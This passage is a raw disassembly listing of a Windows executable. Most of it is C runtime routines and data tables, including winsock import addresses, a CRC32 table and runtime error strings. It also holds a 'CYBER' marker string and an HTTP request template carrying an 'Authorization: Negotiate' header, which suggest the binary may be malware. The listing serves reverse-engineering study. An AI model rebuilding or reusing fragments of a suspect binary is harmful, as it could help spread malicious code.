		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi

loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------

loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D

loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------

loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax

loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0

loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1

loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C32C
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------

loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05

loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]

loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB5C0
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------

loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	edi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax

loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB5C0, eax

loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------

loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB364

loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------

loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax

loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------

loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h

loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------

loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25C106Ch, 25D0000h, 25D06E7h, 25E0000h, 25E0A6Eh
		dd 25E0ADBh, 25E0EE2h, 25F0000h, 2600000h, 26007E5h, 2600C3Bh
		dd 2610000h, 26107E1h, 2610A50h
dword_42703C	dd 2610A82h		; DATA XREF: ___:004231D9r
		dd 2610B4Eh, 2610DEAh, 2610E17h, 2620000h, 2630000h, 2640000h
		dd 2650000h, 26503B5h, 26508D5h, 77E75CB5h
dword_427068	dd 26508EFh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650BA1h, 2660000h, 2660AB7h
dword_427078	dd 2670000h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 267009Ch		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 2670230h
dword_427084	dd 26702E7h		; DATA XREF: sub_4196BC+B9r
		dd 267084Ch
dword_42708C	dd 2670914h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2670982h		; DATA XREF: ___:loc_4013DCr
		dd 2670D30h, 2670E4Ch
dword_42709C	dd 2680000h		; DATA XREF: sub_409B12+2r
		dd 268016Dh, 2680230h
dword_4270A8	dd 26808E8h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 2680981h		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690BC3h
dword_4270B8	dd 2690C6Fh		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C05ECh, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D05E1h, 26D07D6h, 26E0000h, 26E07ABh
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F08DDh		; DATA XREF: sub_418293+36r
		dd 26F0AF0h, 2700000h
dword_4270F8	dd 270069Ah		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2720000h, 2730000h, 2730C3Eh, 2740000h, 2740831h, 2750000h
		dd 2760000h, 2770000h, 2770B61h, 2770E90h, 2780000h, 2780144h
		dd 27807EAh, 2780B3Fh, 2790000h
dword_42713C	dd 2790285h		; DATA XREF: sub_416F1A+BCr
		dd 27A0000h
dword_427144	dd 27B0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27B0A21h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27B0A68h
dword_427150	dd 27B0D0Ah		; DATA XREF: sub_417275+56r
		dd 27C0000h, 27D0000h, 27E0000h, 27E0633h, 27E0B83h, 27F0000h
		dd 27F0183h, 27F0822h, 2800000h, 2810000h
dword_42717C	dd 2820000h		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2830000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2840000h, 28404EFh, 28409E2h, 2840C98h, 2850000h, 2860000h
		dd 2870000h, 2880000h, 2890000h, 28A0000h, 28A1B25h, 28A1B33h
		dd 28B0000h, 28B0E6Ah, 28C0000h
dword_4271C0	dd 28C0632h		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28C07A0h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28C0915h, 28D0000h, 28D066Fh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C544o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C540o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C7BCo
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C98Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
